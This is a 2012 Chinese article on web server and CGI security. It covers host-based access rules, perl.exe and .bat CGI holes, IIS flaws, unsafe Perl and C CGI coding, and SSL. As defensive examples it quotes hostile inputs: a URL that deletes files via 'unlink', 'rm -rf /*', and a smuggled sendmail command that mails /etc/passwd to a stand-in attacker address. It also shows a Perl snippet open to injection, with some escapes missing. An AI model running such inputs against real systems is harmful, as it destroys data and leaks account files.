Web安全技术与防火墙(2) |
| 发布时间: 2012/7/7 15:47:33 |
|
这样只能是以域名为abc.net.cn或IP属于168.160.142的客户访问该WEB服务器。对于CERN或W3C服务器可以这样在httpd.conf中加上:
Protection LOCAL-USERS { GetMask @(*.capricorn.com, *.zoo.org, 18.157.0.5) } Protect /relative/path/to/directory/* LOCAL-USERS 〔9〕WINDOWS下HTTPD 1)Netscape Communications Server for NT 〖1〗Perl解释器的漏洞 Netscape Communications Server中无法识别cgi-bin下的扩展名及其应用关系,如:.pl是PERL的代码程序自动调用 perl.exe文件解释,即使现在也只能把perl.exe文件存放在cgi-bin目录之下。执行如: /cgi-bin/perl.exe?&my_script.pl. 但是这就给任何人都有执行 perl的可能,当有些人在其浏览器的URL中加上如:/cgi-bin/perl.exe?&-e+unlink+%3C*%3E 时,有可能造成删除服务器当前目录下文件的危险。但是,其他如:O''Reilly WebSite或Purveyor都不存在这种漏洞。 〖2〗CGI执行批处理文件的漏洞 文件名:test.bat: @echo off echo Content-type: text/plain echo echo Hello World! 如果客户浏览器的URL为:/cgi-bin/test.bat?&dir则执行调用命令解释器完成dir列表。这给访问者有执行其他命令可能性。 2)O''Reilly WebSite server for Windows NT/95 在WebSite1.1B以前的版本中使用配处理文件存在着Netscape同样的漏洞,但是,新版关闭.bat在cgi中的作用。支持 perl,VB和C作为CGI开发工具。至于他的安全问题参看:http://website.ora.com/devcomer/secalert1。 3)Microsoft''s IIS Web Server 在96年3月5日前的IIS在NT下的.bat CGI的 bug甚至比其他更严重,可以任意使用command命令。但之后修补该漏洞。你可检查你的可执行文件的建立日期。IIS3.0还存在一些安全bug,主要是cgi-bin下的覆给权利。 另外,许多 WEB服务器本身都存在一些安全上的漏洞,都是在版本升级过程不断更新。在这就不一一列举。 从CGI编程角度考虑安全: 〔1〕采用编译语言比解释语言会更安全些,并且 CGI程序应放在独立于HTML 存放目录之外的CGI-BIN下,是为了防止一些非法访问者从浏览器端取得解释性语言的原代码后从中寻找漏洞。 〔2〕在用C来编写CGI程序时尽量少用popen(), system()和所有涉及/bin/sh 的shell命令。在Perl中system(), exec(), open(),eval()等exec或eval之类命令。在由用户填写的form还回cgi时,不要直接调用system()之类函数。这是为避免当填写内容为“rm -rf /*”或“/usr/lib/sendmail nobody@nowhere.com; mail badguys@hell.org< /etc/passwd”之类内容。 〔3〕用Perl编写CGI时如: $mail_to = &get_name_from_input; open (MAIL,"| /usr/lib/sendmail $mail_to"); print MAIL "To: $mailtonFrom: mennHi there!n"; close MAIL; 该小程序是把客户浏览器的form到服务器的mail处理程序。 另外,对于数据的加密与传输,目前有SSL,SHTTP,SHEN等协议供大家研究。 〔1〕SSL(Secure Socket Layer)系由Netscape公司建议的一种建构在TCP协议之上的保密措施通讯协议,不但适用于HTTP,而且还适用于 TELNET,FTP,NNTP, GOPHER等客户/服务器模式的安全协议。Netscape Navigator, Secure Mosaic, 和Microsoft Internet Explorer等客户浏览器与Netscape, Microsoft, IBM, Quarterdeck, OpenMarket 和 O''Reilly等服务器产品都采用SSL协议。 本文出自:亿恩科技【www.enkj.com】 |
京公网安备41019702002023号